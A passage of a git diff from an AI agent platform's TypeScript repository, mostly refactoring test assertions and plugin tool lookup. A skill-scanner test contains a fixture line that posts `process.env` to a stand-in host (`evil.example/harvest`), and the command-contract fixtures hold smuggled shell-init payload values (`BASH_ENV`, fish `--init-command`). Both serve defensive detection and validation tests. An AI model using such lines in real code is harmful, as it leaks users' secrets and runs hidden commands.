rawEnv, (env) => resolveBundledPluginsDir(env)); + if (!stock) { + throw new Error("expected bundled plugin source root"); + } expectResolvedSourceRoots({ homeDir, env: rawEnv, diff --git a/src/plugins/status.registry-snapshot.test.ts b/src/plugins/status.registry-snapshot.test.ts index 8a91a13f8d4..a4396fba4a1 100644 --- a/src/plugins/status.registry-snapshot.test.ts +++ b/src/plugins/status.registry-snapshot.test.ts @@ -55,7 +55,7 @@ describe("buildPluginRegistrySnapshotReport", () => { env, installRecords: {}, }); - expect(staleIndex.plugins.some((plugin) => plugin.pluginId === "whatsapp")).toBe(false); + expect(staleIndex.plugins.map((plugin) => plugin.pluginId)).not.toContain("whatsapp"); writePersistedInstalledPluginIndexSync(staleIndex, { stateDir }); const report = buildPluginRegistrySnapshotReport({ diff --git a/src/plugins/tool-types.ts b/src/plugins/tool-types.ts index 62119b00ffe..fc3514c57d3 100644 --- a/src/plugins/tool-types.ts +++ b/src/plugins/tool-types.ts @@ -1,4 +1,4 @@ -import type { ToolFsPolicy } from "../agents/tool-fs-policy.js"; +import type { ToolFsPolicy } from "../agents/tool-fs-policy.types.js"; import type { AnyAgentTool } from "../agents/tools/common.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { HookEntry } from "../hooks/types.js"; diff --git a/src/plugins/tools.optional.test.ts b/src/plugins/tools.optional.test.ts index e1de9a25dae..3eeb6a13132 100644 --- a/src/plugins/tools.optional.test.ts +++ b/src/plugins/tools.optional.test.ts @@ -1724,6 +1724,91 @@ describe("resolvePluginTools optional tools", () => { expect(factory).toHaveBeenCalledTimes(2); }); + it("executes the matching cached plugin tool when unnamed factories share declared names", async () => { + const alphaFactory = vi.fn(() => ({ + ...makeTool("implicit_alpha"), + async execute() { + return { content: [{ type: "text", text: "implicit-alpha-ok" }] }; + }, + })); + const betaFactory = vi.fn(() => ({ + ...makeTool("implicit_beta"), + async execute() { + return { content: [{ type: "text", text: "implicit-beta-ok" }] }; + }, + })); + setRegistry([ + { + pluginId: "implicit-owner", + optional: false, + source: "/tmp/implicit-owner.js", + names: [], + declaredNames: ["implicit_alpha", "implicit_beta"], + factory: alphaFactory, + }, + { + pluginId: "implicit-owner", + optional: false, + source: "/tmp/implicit-owner.js", + names: [], + declaredNames: ["implicit_alpha", "implicit_beta"], + factory: betaFactory, + }, + ]); + + const first = resolvePluginTools(createResolveToolsParams()); + const second = resolvePluginTools(createResolveToolsParams()); + const betaTool = second.find((tool) => tool.name === "implicit_beta"); + + expectResolvedToolNames(first, ["implicit_alpha", "implicit_beta"]); + expectResolvedToolNames(second, ["implicit_alpha", "implicit_beta"]); + await expect(betaTool?.execute("call", {}, undefined)).resolves.toEqual({ + content: [{ type: "text", text: "implicit-beta-ok" }], + }); + expect(alphaFactory).toHaveBeenCalledTimes(2); + expect(betaFactory).toHaveBeenCalledTimes(2); + }); + + it("does not invoke unrelated named factories before cached unnamed tool fallback", async () => { + const namedFactory = vi.fn(() => makeTool("unrelated_tool")); + const implicitFactory = vi.fn(() => ({ + ...makeTool("implicit_tool"), + async execute() { + return { content: [{ type: "text", text: "implicit-ok" }] }; + }, + })); + setRegistry([ + { + pluginId: "implicit-owner", + optional: false, + source: "/tmp/implicit-owner.js", + names: ["unrelated_tool"], + declaredNames: ["unrelated_tool"], + factory: namedFactory, + }, + { + pluginId: "implicit-owner", + optional: false, + source: "/tmp/implicit-owner.js", + names: [], + declaredNames: ["implicit_tool"], + factory: implicitFactory, + }, + ]); + + resolvePluginTools(createResolveToolsParams()); + const cachedTools = resolvePluginTools(createResolveToolsParams()); + namedFactory.mockClear(); + implicitFactory.mockClear(); + + const implicitTool = cachedTools.find((tool) => tool.name === "implicit_tool"); + await expect(implicitTool?.execute("call", {}, undefined)).resolves.toEqual({ + content: [{ type: "text", text: "implicit-ok" }], + }); + expect(namedFactory).not.toHaveBeenCalled(); + expect(implicitFactory).toHaveBeenCalledTimes(1); + }); + it("skips factory-returned tools outside the manifest tool contract", () => { const registry = setRegistry([ { diff --git a/src/plugins/tools.ts b/src/plugins/tools.ts index 6d67e608908..7cefab71a2d 100644 --- a/src/plugins/tools.ts +++ b/src/plugins/tools.ts @@ -553,26 +553,43 @@ function createCachedDescriptorPluginTool(params: { loadOptions, onlyPluginIds: [pluginId], }); - const entry = registry?.tools.find( - (candidate) => - candidate.pluginId === pluginId && - (candidate.names.length > 0 ? candidate.names : (candidate.declaredNames ?? [])).some( - (name) => normalizeToolName(name) === normalizeToolName(toolName), - ), - ); - if (!entry) { + const candidates = registry?.tools.filter((candidate) => candidate.pluginId === pluginId); + if (!candidates || candidates.length === 0) { throw new Error(`plugin tool runtime unavailable (${pluginId}): ${toolName}`); } - const resolved = entry.factory(params.ctx); - const listRaw: unknown[] = Array.isArray(resolved) ? resolved : resolved ? [resolved] : []; - for (const toolRaw of listRaw) { - const malformedReason = describeMalformedPluginTool(toolRaw); - if (malformedReason) { - throw new Error(`plugin tool is malformed (${pluginId}): ${malformedReason}`); + const requestedToolName = normalizeToolName(toolName); + const resolveCandidateTool = ( + candidate: PluginToolRegistration, + ): AnyAgentTool | undefined => { + const resolved = candidate.factory(params.ctx); + const listRaw: unknown[] = Array.isArray(resolved) ? resolved : resolved ? [resolved] : []; + for (const toolRaw of listRaw) { + const malformedReason = describeMalformedPluginTool(toolRaw); + if (malformedReason) { + throw new Error(`plugin tool is malformed (${pluginId}): ${malformedReason}`); + } + const runtimeTool = toolRaw as AnyAgentTool; + if (normalizeToolName(runtimeTool.name) === requestedToolName) { + return runtimeTool; + } } - const runtimeTool = toolRaw as AnyAgentTool; - if (normalizeToolName(runtimeTool.name) === normalizeToolName(toolName)) { - return runtimeTool.execute(toolCallId, executeParams, signal, onUpdate); + return undefined; + }; + const matchingNamedCandidates = candidates.filter( + (candidate) => + candidate.names.length > 0 && + candidate.names.some((name) => normalizeToolName(name) === requestedToolName), + ); + const unnamedCandidates = candidates.filter((candidate) => candidate.names.length === 0); + for (const candidate of [...matchingNamedCandidates, ...unnamedCandidates]) { + let matchedTool: AnyAgentTool | undefined; + try { + matchedTool = resolveCandidateTool(candidate); + } catch { + continue; + } + if (matchedTool) { + return matchedTool.execute(toolCallId, executeParams, signal, onUpdate); } } throw new Error(`plugin tool runtime missing (${pluginId}): ${toolName}`); diff --git a/src/proxy-capture/coverage.test.ts b/src/proxy-capture/coverage.test.ts index 9e047ab21e6..c46ab5329d2 100644 --- a/src/proxy-capture/coverage.test.ts +++ b/src/proxy-capture/coverage.test.ts @@ -8,7 +8,8 @@ describe("debug proxy coverage report", () => { expect(report.summary.total).toBe(report.entries.length); expect(report.summary.captured).toBeGreaterThan(0); expect(report.summary.proxyOnly).toBeGreaterThan(0); - expect(report.entries.some((entry) => entry.id === "provider-transport-fetch")).toBe(true); - expect(report.entries.some((entry) => entry.id === "feishu-client-http")).toBe(true); + expect(report.entries.map((entry) => entry.id)).toEqual( + expect.arrayContaining(["provider-transport-fetch", "feishu-client-http"]), + ); }); }); diff --git a/src/proxy-capture/runtime.test.ts b/src/proxy-capture/runtime.test.ts index d56d599caab..d6c22a962f6 100644 --- a/src/proxy-capture/runtime.test.ts +++ b/src/proxy-capture/runtime.test.ts @@ -73,9 +73,8 @@ describe("debug proxy runtime", () => { finalizeDebugProxyCapture(settings, deps); const sessionEvents = events.filter((event) => event.sessionId === "runtime-test-session"); - expect(sessionEvents.some((event) => event.host === "api.minimax.io")).toBe(true); - expect(sessionEvents.some((event) => event.kind === "request")).toBe(true); - expect(sessionEvents.some((event) => event.kind === "response")).toBe(true); + expect(sessionEvents.map((event) => event.host)).toContain("api.minimax.io"); + expect(sessionEvents.map((event) => event.kind)).toEqual(["request", "response"]); }); it("normalizes symbol-bearing request headers before calling patched fetch targets", async () => { diff --git a/src/secrets/runtime-config-collectors-plugins.test.ts b/src/secrets/runtime-config-collectors-plugins.test.ts index 68037828e3b..34a6d29d5b3 100644 --- a/src/secrets/runtime-config-collectors-plugins.test.ts +++ b/src/secrets/runtime-config-collectors-plugins.test.ts @@ -75,8 +75,8 @@ function collectAcpxConfigAssignments(config: OpenClawConfig): ResolverContext { function expectInactiveAcpxConfig(config: OpenClawConfig): void { const context = collectAcpxConfigAssignments(config); expect(context.assignments).toHaveLength(0); - expect(context.warnings.some((w) => w.code === "SECRETS_REF_IGNORED_INACTIVE_SURFACE")).toBe( - true, + expect(context.warnings.map((warning) => warning.code)).toContain( + "SECRETS_REF_IGNORED_INACTIVE_SURFACE", ); } diff --git a/src/security/audit-config-symlink.test.ts b/src/security/audit-config-symlink.test.ts index e922b87ce85..3f377cc9acb 100644 --- a/src/security/audit-config-symlink.test.ts +++ b/src/security/audit-config-symlink.test.ts @@ -41,12 +41,12 @@ describe("security audit config symlink findings", () => { expect(findings).toEqual( expect.arrayContaining([expect.objectContaining({ checkId: "fs.config.symlink" })]), ); - expect(findings.some((finding) => finding.checkId === "fs.config.perms_writable")).toBe(false); - expect(findings.some((finding) => finding.checkId === "fs.config.perms_world_readable")).toBe( - false, - ); - expect(findings.some((finding) => finding.checkId === "fs.config.perms_group_readable")).toBe( - false, + expect(findings.map((finding) => finding.checkId)).not.toEqual( + expect.arrayContaining([ + "fs.config.perms_writable", + "fs.config.perms_world_readable", + "fs.config.perms_group_readable", + ]), ); }); }); diff --git a/src/security/audit-extra.async.test.ts b/src/security/audit-extra.async.test.ts index f92a2bb8bbb..30d8db58066 100644 --- a/src/security/audit-extra.async.test.ts +++ b/src/security/audit-extra.async.test.ts @@ -160,7 +160,9 @@ description: test skill await fs.writeFile(path.join(pluginDir, "index.js"), "export {};"); const findings = await collectPluginsCodeSafetyFindings({ stateDir: tmpDir }); - expect(findings.some((f) => f.checkId === "plugins.code_safety.entry_escape")).toBe(true); + expect(findings.map((finding) => finding.checkId)).toContain( + "plugins.code_safety.entry_escape", + ); }); it("ignores install backup and debris dirs when scanning installed plugin roots", async () => { @@ -255,7 +257,9 @@ description: test skill await fs.writeFile(path.join(pluginDir, "index.js"), "export {};"); const findings = await collectPluginsCodeSafetyFindings({ stateDir: tmpDir }); - expect(findings.some((f) => f.checkId === "plugins.code_safety.scan_failed")).toBe(true); + expect(findings.map((finding) => finding.checkId)).toContain( + "plugins.code_safety.scan_failed", + ); } finally { scanSpy.mockRestore(); } diff --git a/src/security/audit-gateway-exposure.test.ts b/src/security/audit-gateway-exposure.test.ts index f437e2e4c51..933c7b2bb66 100644 --- a/src/security/audit-gateway-exposure.test.ts +++ b/src/security/audit-gateway-exposure.test.ts @@ -128,7 +128,7 @@ describe("security audit gateway exposure findings", () => { const findings = collectGatewayConfigFindings(cfg, cfg, {}); expect(findings).toEqual(expect.arrayContaining([expect.objectContaining(expectedFinding)])); if (expectedNoFinding) { - expect(findings.some((finding) => finding.checkId === expectedNoFinding)).toBe(false); + expect(findings.map((finding) => finding.checkId)).not.toContain(expectedNoFinding); } }); @@ -410,10 +410,9 @@ describe("security audit gateway exposure findings", () => { testCase.name, ).toBe(true); if (testCase.suppressesGenericSharedSecretFindings) { - expect(findings.some((finding) => finding.checkId === "gateway.bind_no_auth")).toBe(false); - expect(findings.some((finding) => finding.checkId === "gateway.auth_no_rate_limit")).toBe( - false, - ); + const checkIds = findings.map((finding) => finding.checkId); + expect(checkIds).not.toContain("gateway.bind_no_auth"); + expect(checkIds).not.toContain("gateway.auth_no_rate_limit"); } } }); diff --git a/src/security/audit-gateway-http-auth.test.ts b/src/security/audit-gateway-http-auth.test.ts index d4de3ec18b6..9b502cd4e54 100644 --- a/src/security/audit-gateway-http-auth.test.ts +++ b/src/security/audit-gateway-http-auth.test.ts @@ -82,7 +82,7 @@ describe("security audit gateway HTTP auth findings", () => { } } if (expectedNoFinding) { - expect(findings.some((entry) => entry.checkId === expectedNoFinding)).toBe(false); + expect(findings.map((entry) => entry.checkId)).not.toContain(expectedNoFinding); } }); }); diff --git a/src/security/audit-model-hygiene.test.ts b/src/security/audit-model-hygiene.test.ts index 6ceb7f31ddf..fc67db3d768 100644 --- a/src/security/audit-model-hygiene.test.ts +++ b/src/security/audit-model-hygiene.test.ts @@ -70,6 +70,6 @@ describe("security audit model hygiene findings", () => { }, } satisfies OpenClawConfig); - expect(findings.some((finding) => finding.checkId === "models.weak_tier")).toBe(false); + expect(findings.map((finding) => finding.checkId)).not.toContain("models.weak_tier"); }); }); diff --git a/src/security/audit-sandbox-browser.test.ts b/src/security/audit-sandbox-browser.test.ts index 4cbb0c10d87..75e621b9654 100644 --- a/src/security/audit-sandbox-browser.test.ts +++ b/src/security/audit-sandbox-browser.test.ts @@ -115,8 +115,8 @@ describe("security audit sandbox browser findings", () => { }, }, } satisfies OpenClawConfig); - expect(findings.some((f) => f.checkId === "sandbox.browser_cdp_bridge_unrestricted")).toBe( - false, + expect(findings.map((finding) => finding.checkId)).not.toContain( + "sandbox.browser_cdp_bridge_unrestricted", ); }); }); diff --git a/src/security/audit-workspace-skill-escape.test.ts b/src/security/audit-workspace-skill-escape.test.ts index 25e5ce8aad1..28c319dd33e 100644 --- a/src/security/audit-workspace-skill-escape.test.ts +++ b/src/security/audit-workspace-skill-escape.test.ts @@ -66,8 +66,8 @@ describe("security audit workspace skill path escape findings", () => { const findings = await collectWorkspaceSkillSymlinkEscapeFindings({ cfg: { agents: { defaults: { workspace: workspaceDir } } } satisfies OpenClawConfig, }); - expect(findings.some((entry) => entry.checkId === "skills.workspace.symlink_escape")).toBe( - false, + expect(findings.map((entry) => entry.checkId)).not.toContain( + "skills.workspace.symlink_escape", ); })(), ]; diff --git a/src/security/skill-scanner.test.ts b/src/security/skill-scanner.test.ts index 64c22171da2..193fd8e2c91 100644 --- a/src/security/skill-scanner.test.ts +++ b/src/security/skill-scanner.test.ts @@ -35,13 +35,13 @@ function expectScanRule( ) { const findings = scanSource(source, "plugin.ts"); expect( - findings.some( + findings.filter( (finding) => finding.ruleId === expected.ruleId && (expected.severity == null || finding.severity === expected.severity) && (expected.messageIncludes == null || finding.message.includes(expected.messageIncludes)), ), - ).toBe(true); + ).not.toEqual([]); } function writeFixtureFiles(root: string, files: Record) { @@ -69,7 +69,12 @@ function mockStatPermissionDeniedFor(filePath: string) { } function expectRulePresence(findings: { ruleId: string }[], ruleId: string, expected: boolean) { - expect(findings.some((finding) => finding.ruleId === ruleId)).toBe(expected); + const ruleIds = findings.map((finding) => finding.ruleId); + if (expected) { + expect(ruleIds).toContain(ruleId); + } else { + expect(ruleIds).not.toContain(ruleId); + } } async function runNamedCase(name: string, run: () => void | Promise) { @@ -252,7 +257,7 @@ import type { ExecOptions } from "child_process"; const options: ExecOptions = { timeout: 5000 }; `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false); + expectRulePresence(findings, "dangerous-exec", false); }); it("does not flag RegExp.exec when child_process appears elsewhere", () => { @@ -262,7 +267,7 @@ const options: ExecOptions = {}; const match = /^keychain:(.+)$/.exec(value); `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false); + expectRulePresence(findings, "dangerous-exec", false); }); it("does not use full-line comments as source-rule context", () => { @@ -271,7 +276,7 @@ const env = process.env; // fetch() can reach the endpoint later. `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false); + expectRulePresence(findings, "env-harvesting", false); }); it("does not use inline or block comments as source-rule context", () => { @@ -283,7 +288,7 @@ const env = process.env; // fetch("https://example.invalid") const url = "https://example.com/path//segment"; `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false); + expectRulePresence(findings, "env-harvesting", false); }); it("returns empty array for clean plugin code", () => { @@ -314,7 +319,7 @@ async function closeFetchHandles() { } `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false); + expectRulePresence(findings, "env-harvesting", false); }); it("does not flag ordinary env defaults when network sends are elsewhere in a bundled file", () => { @@ -330,7 +335,7 @@ export async function sendMessage(rest, channelId, data) { } `; const findings = scanSource(source, "provider-bundle.js"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false); + expectRulePresence(findings, "env-harvesting", false); }); it("still flags local process.env sends", () => { @@ -339,7 +344,7 @@ const env = process.env; await fetch("https://evil.example/harvest", { method: "POST", body: JSON.stringify(env) }); `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(true); + expectRulePresence(findings, "env-harvesting", true); }); }); diff --git a/src/shared/session-types.ts b/src/shared/session-types.ts index 7833bcf28ec..80ac26ef0c0 100644 --- a/src/shared/session-types.ts +++ b/src/shared/session-types.ts @@ -14,7 +14,7 @@ export type GatewayAgentModel = { export type GatewayAgentRuntime = { id: string; fallback?: "pi" | "none"; - source: "env" | "agent" | "defaults" | "implicit"; + source: "env" | "agent" | "defaults" | "model" | "provider" | "implicit"; }; export type GatewayAgentRow = { diff --git a/src/status/agent-runtime-label.ts b/src/status/agent-runtime-label.ts index ef35fa744d5..e532d5cfb08 100644 --- a/src/status/agent-runtime-label.ts +++ b/src/status/agent-runtime-label.ts @@ -32,10 +32,7 @@ export function resolveAgentRuntimeLabel(args: { return backend ? `${acpAgent} (acp/${backend})` : `${acpAgent} (acp)`; } - const runtimeRaw = - normalizeOptionalString(args.resolvedHarness) ?? - normalizeOptionalString(args.sessionEntry?.agentRuntimeOverride) ?? - normalizeOptionalString(args.sessionEntry?.agentHarnessId); + const runtimeRaw = normalizeOptionalString(args.resolvedHarness); const runtime = normalizeOptionalLowercaseString(runtimeRaw); if (runtime && runtime !== "auto" && runtime !== "default") { return AGENT_RUNTIME_LABELS[runtime] ?? sanitizeTerminalText(runtimeRaw ?? runtime); diff --git a/src/test-helpers/resolve-target-error-cases.ts b/src/test-helpers/resolve-target-error-cases.ts index 42ce4a9a6c4..e1dabd29f35 100644 --- a/src/test-helpers/resolve-target-error-cases.ts +++ b/src/test-helpers/resolve-target-error-cases.ts @@ -19,6 +19,12 @@ export function installCommonResolveTargetErrorCases(params: { implicitAllowFrom: string[]; }) { const { resolveTarget, implicitAllowFrom } = params; + const expectResolveTargetError = (result: ResolveTargetResult) => { + expect(result.ok).toBe(false); + if (result.error === undefined) { + throw new Error("expected resolveTarget to return an error"); + } + }; it("should error on normalization failure with allowlist (implicit mode)", () => { const result = resolveTarget({ @@ -27,8 +33,7 @@ export function installCommonResolveTargetErrorCases(params: { allowFrom: implicitAllowFrom, }); - expect(result.ok).toBe(false); - expect(result.error).toBeDefined(); + expectResolveTargetError(result); }); it("should error when no target provided with allowlist", () => { @@ -38,8 +43,7 @@ export function installCommonResolveTargetErrorCases(params: { allowFrom: implicitAllowFrom, }); - expect(result.ok).toBe(false); - expect(result.error).toBeDefined(); + expectResolveTargetError(result); }); it("should error when no target and no allowlist", () => { @@ -49,8 +53,7 @@ export function installCommonResolveTargetErrorCases(params: { allowFrom: [], }); - expect(result.ok).toBe(false); - expect(result.error).toBeDefined(); + expectResolveTargetError(result); }); it("should handle whitespace-only target", () => { @@ -60,7 +63,6 @@ export function installCommonResolveTargetErrorCases(params: { allowFrom: [], }); - expect(result.ok).toBe(false); - expect(result.error).toBeDefined(); + expectResolveTargetError(result); }); } diff --git a/src/tui/components/searchable-select-list.test.ts b/src/tui/components/searchable-select-list.test.ts index f5f5234c990..7e6011f4d08 100644 --- a/src/tui/components/searchable-select-list.test.ts +++ b/src/tui/components/searchable-select-list.test.ts @@ -60,7 +60,7 @@ describe("SearchableSelectList", () => { function expectNoMatchesForQuery(list: SearchableSelectList, query: string) { typeInput(list, query); const output = list.render(80); - expect(output.some((line) => line.includes("No matches"))).toBe(true); + expect(output).toEqual(expect.arrayContaining([expect.stringContaining("No matches")])); } function expectDescriptionVisibilityAtWidth(width: number, shouldContainDescription: boolean) { diff --git a/src/tui/tui-command-handlers.test.ts b/src/tui/tui-command-handlers.test.ts index 908af762758..b6b0d469991 100644 --- a/src/tui/tui-command-handlers.test.ts +++ b/src/tui/tui-command-handlers.test.ts @@ -179,7 +179,7 @@ describe("tui command handlers", () => { expect(setActivityStatus).toHaveBeenCalledWith("sending"); const sendingOrder = setActivityStatus.mock.invocationCallOrder[0] ?? 0; const renderOrders = requestRender.mock.invocationCallOrder; - expect(renderOrders.some((order) => order > sendingOrder)).toBe(true); + expect(renderOrders.filter((order) => order > sendingOrder)).not.toEqual([]); resolveSend({ runId: "r1" }); await pending; diff --git a/src/tui/tui.test.ts b/src/tui/tui.test.ts index 0f26dcf0525..5e502083460 100644 --- a/src/tui/tui.test.ts +++ b/src/tui/tui.test.ts @@ -71,13 +71,14 @@ describe("tui slash commands", () => { it("includes gateway text commands", () => { const commands = getSlashCommands({}); - expect(commands.some((command) => command.name === "context")).toBe(true); - expect(commands.some((command) => command.name === "commands")).toBe(true); + expect(commands.map((command) => command.name)).toEqual( + expect.arrayContaining(["context", "commands"]), + ); }); it("includes /auth in local embedded mode", () => { const commands = getSlashCommands({ local: true }); - expect(commands.some((command) => command.name === "auth")).toBe(true); + expect(commands.map((command) => command.name)).toContain("auth"); }); }); diff --git a/test/fixtures/system-run-command-contract.json b/test/fixtures/system-run-command-contract.json index 943981078ea..dc3b45f323f 100644 --- a/test/fixtures/system-run-command-contract.json +++ b/test/fixtures/system-run-command-contract.json @@ -26,6 +26,15 @@ "displayCommand": "/bin/sh -lc \"echo hi\"" } }, + { + "name": "non-sh login shell wrapper requires full argv display binding", + "command": ["/bin/bash", "-lc", "/usr/bin/printf ok"], + "rawCommand": "/usr/bin/printf ok", + "expected": { + "valid": false, + "errorContains": "rawCommand does not match command" + } + }, { "name": "shell wrapper positional argv carrier requires full argv display binding", "command": ["/bin/sh", "-lc", "$0 \"$1\"", "/usr/bin/touch", "/tmp/marker"], @@ -46,11 +55,11 @@ }, { "name": "env wrapper shell payload accepted at ingress when prelude has no env modifiers", - "command": ["/usr/bin/env", "bash", "-lc", "echo hi"], + "command": ["/usr/bin/env", "sh", "-lc", "echo hi"], "rawCommand": "echo hi", "expected": { "valid": true, - "displayCommand": "/usr/bin/env bash -lc \"echo hi\"" + "displayCommand": "/usr/bin/env sh -lc \"echo hi\"" } }, { @@ -79,6 +88,42 @@ "valid": true, "displayCommand": "/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc \"echo hi\"" } + }, + { + "name": "login shell wrapper requires full argv display binding", + "command": ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"], + "rawCommand": "/usr/bin/printf ok", + "expected": { + "valid": false, + "errorContains": "rawCommand does not match command" + } + }, + { + "name": "login shell wrapper accepts canonical full argv raw command", + "command": ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"], + "rawCommand": "/bin/bash --login -c \"/usr/bin/printf ok\"", + "expected": { + "valid": true, + "displayCommand": "/bin/bash --login -c \"/usr/bin/printf ok\"" + } + }, + { + "name": "interactive shell wrapper requires full argv display binding", + "command": ["/bin/bash", "-i", "-c", "/usr/bin/printf ok"], + "rawCommand": "/usr/bin/printf ok", + "expected": { + "valid": false, + "errorContains": "rawCommand does not match command" + } + }, + { + "name": "fish init-command wrapper requires full argv display binding", + "command": ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf ok"], + "rawCommand": "/usr/bin/printf ok", + "expected": { + "valid": false, + "errorContains": "rawCommand does not match command" + } } ] } diff --git a/test/plugin-extension-import-boundary.test.ts b/test/plugin-extension-import-boundary.test.ts index 226854c64bd..c447b597f15 100644 --- a/test/plugin-extension-import-boundary.test.ts +++ b/test/plugin-extension-import-boundary.test.ts @@ -20,22 +20,28 @@ const baseline = JSON.parse(readFileSync(baselinePath, "utf8")); describe("plugin extension import boundary inventory", () => { it("keeps dedicated web-search registry shims out of the remaining inventory", async () => { const inventory = await collectPluginExtensionImportBoundaryInventory(); + const blockedShimFiles = inventory + .filter( + (entry) => + entry.file === "src/plugins/web-search-providers.ts" || + entry.file === "src/plugins/bundled-web-search-registry.ts", + ) + .map((entry) => entry.file); - expect(inventory.some((entry) => entry.file === "src/plugins/web-search-providers.ts")).toBe( - false, - ); - expect( - inventory.some((entry) => entry.file === "src/plugins/bundled-web-search-registry.ts"), - ).toBe(false); + expect(blockedShimFiles).toEqual([]); }); it("ignores boundary shims by scope", async () => { const inventory = await collectPluginExtensionImportBoundaryInventory(); + const boundaryShimFiles = inventory + .filter( + (entry) => + entry.file.startsWith("src/plugin-sdk/") || + entry.file.startsWith("src/plugin-sdk-internal/"), + ) + .map((entry) => entry.file); - expect(inventory.some((entry) => entry.file.startsWith("src/plugin-sdk/"))).toBe(false); - expect(inventory.some((entry) => entry.file.startsWith("src/plugin-sdk-internal/"))).toBe( - false, - ); + expect(boundaryShimFiles).toEqual([]); }); it("produces stable sorted output", async () => { diff --git a/test/plugin-npm-runtime-build.test.ts b/test/plugin-npm-runtime-build.test.ts index 3ba4a175a0e..768fd2d3115 100644 --- a/test/plugin-npm-runtime-build.test.ts +++ b/test/plugin-npm-runtime-build.test.ts @@ -7,6 +7,10 @@ import { const repoRoot = path.resolve(import.meta.dirname, ".."); +function expectDistRelativePaths(paths: string[]) { + expect(paths.filter((entry) => !entry.startsWith("./dist/"))).toEqual([]); +} + describe("plugin npm runtime build planning", () => { it("plans package-local runtime entries for every publishable plugin package", () => { const packageDirs = listPublishablePluginPackageDirs({ repoRoot }); @@ -23,8 +27,8 @@ describe("plugin npm runtime build planning", () => { ); for (const plan of plans) { expect(plan?.outDir).toBe(path.join(plan?.packageDir ?? "", "dist")); - expect(plan?.runtimeExtensions.every((entry) => entry.startsWith("./dist/"))).toBe(true); - expect(plan?.runtimeBuildOutputs.every((entry) => entry.startsWith("./dist/"))).toBe(true); + expectDistRelativePaths(plan?.runtimeExtensions ?? []); + expectDistRelativePaths(plan?.runtimeBuildOutputs ?? []); expect(plan?.packageFiles).toContain("dist/**"); expect(plan?.packagePeerMetadata.peerDependencies.openclaw).toBe( plan?.packageJson.openclaw.compat.pluginApi, diff --git a/test/scripts/bundled-plugin-build-entries.test.ts b/test/scripts/bundled-plugin-build-entries.test.ts index 45111d301a9..18fbaa7d19c 100644 --- a/test/scripts/bundled-plugin-build-entries.test.ts +++ b/test/scripts/bundled-plugin-build-entries.test.ts @@ -7,6 +7,14 @@ import { listBundledPluginPackArtifacts, } from "../../scripts/lib/bundled-plugin-build-entries.mjs"; +function expectNoPrefixMatches(values: string[], prefix: string) { + expect(values.filter((value) => value.startsWith(prefix))).toEqual([]); +} + +function expectSomePrefixMatch(values: string[], prefix: string) { + expect(values.filter((value) => value.startsWith(prefix)).length).toBeGreaterThan(0); +} + describe("bundled plugin build entries", () => { const bundledChannelEntrySources = ["index.ts", "channel-entry.ts", "setup-entry.ts"]; const forEachBundledChannelEntry = ( @@ -77,15 +85,9 @@ describe("bundled plugin build entries", () => { it("keeps private QA bundles out of required npm pack artifacts", () => { const artifacts = listBundledPluginPackArtifacts(); - expect(artifacts.some((artifact) => artifact.startsWith("dist/extensions/qa-channel/"))).toBe( - false, - ); - expect(artifacts.some((artifact) => artifact.startsWith("dist/extensions/qa-lab/"))).toBe( - false, - ); - expect(artifacts.some((artifact) => artifact.startsWith("dist/extensions/qa-matrix/"))).toBe( - false, - ); + expectNoPrefixMatches(artifacts, "dist/extensions/qa-channel/"); + expectNoPrefixMatches(artifacts, "dist/extensions/qa-lab/"); + expectNoPrefixMatches(artifacts, "dist/extensions/qa-matrix/"); }); it("keeps explicitly downloadable plugins out of bundled package artifacts", () => { @@ -93,15 +95,11 @@ describe("bundled plugin build entries", () => { const artifacts = listBundledPluginPackArtifacts(); for (const pluginId of ["acpx", "googlechat", "line"]) { - expect( - Object.keys(entries).some((entry) => entry.startsWith(`extensions/${pluginId}/`)), - ).toBe(true); - expect( - artifacts.some((artifact) => artifact.startsWith(`dist/extensions/${pluginId}/`)), - ).toBe(false); + expectSomePrefixMatch(Object.keys(entries), `extensions/${pluginId}/`); + expectNoPrefixMatches(artifacts, `dist/extensions/${pluginId}/`); } - expect(Object.keys(entries).some((entry) => entry.startsWith("extensions/qqbot/"))).toBe(false); - expect(artifacts.some((artifact) => artifact.startsWith("dist/extensions/qqbot/"))).toBe(false); + expectNoPrefixMatches(Object.keys(entries), "extensions/qqbot/"); + expectNoPrefixMatches(artifacts, "dist/extensions/qqbot/"); }); it("keeps bundled channel secret contracts on packed top-level sidecars", () => { diff --git a/test/scripts/ci-node-test-plan.test.ts b/test/scripts/ci-node-test-plan.test.ts index 05aca60bd14..871c1e4a3c3 100644 --- a/test/scripts/ci-node-test-plan.test.ts +++ b/test/scripts/ci-node-test-plan.test.ts @@ -351,11 +351,16 @@ describe("scripts/lib/ci-node-test-plan.mjs", () => { it("keeps expensive plugin shards release-only when normal CI asks for the cheaper plan", () => { const shards = createNodeTestShards({ includeReleaseOnlyPluginShards: false }); + const shardNames = shards.map((shard) => shard.shardName); - expect(shards.some((shard) => shard.shardName === "agentic-plugins")).toBe(false); - expect(shards.some((shard) => shard.shardName === "agentic-gateway-core")).toBe(true); - expect(shards.some((shard) => shard.shardName === "agentic-gateway-methods")).toBe(true); - expect(shards.some((shard) => shard.shardName === "agentic-plugin-sdk")).toBe(true); + expect(shardNames).not.toContain("agentic-plugins"); + expect(shardNames).toEqual( + expect.arrayContaining([ + "agentic-gateway-core", + "agentic-gateway-methods", + "agentic-plugin-sdk", + ]), + ); }); it("splits auto-reply into balanced core/top-level and reply subtree shards", () => { diff --git a/test/scripts/openclaw-cross-os-release-checks.test.ts b/test/scripts/openclaw-cross-os-release-checks.test.ts index b297b23d144..9c71faf90f8 100644 --- a/test/scripts/openclaw-cross-os-release-checks.test.ts +++ b/test/scripts/openclaw-cross-os-release-checks.test.ts @@ -428,7 +428,11 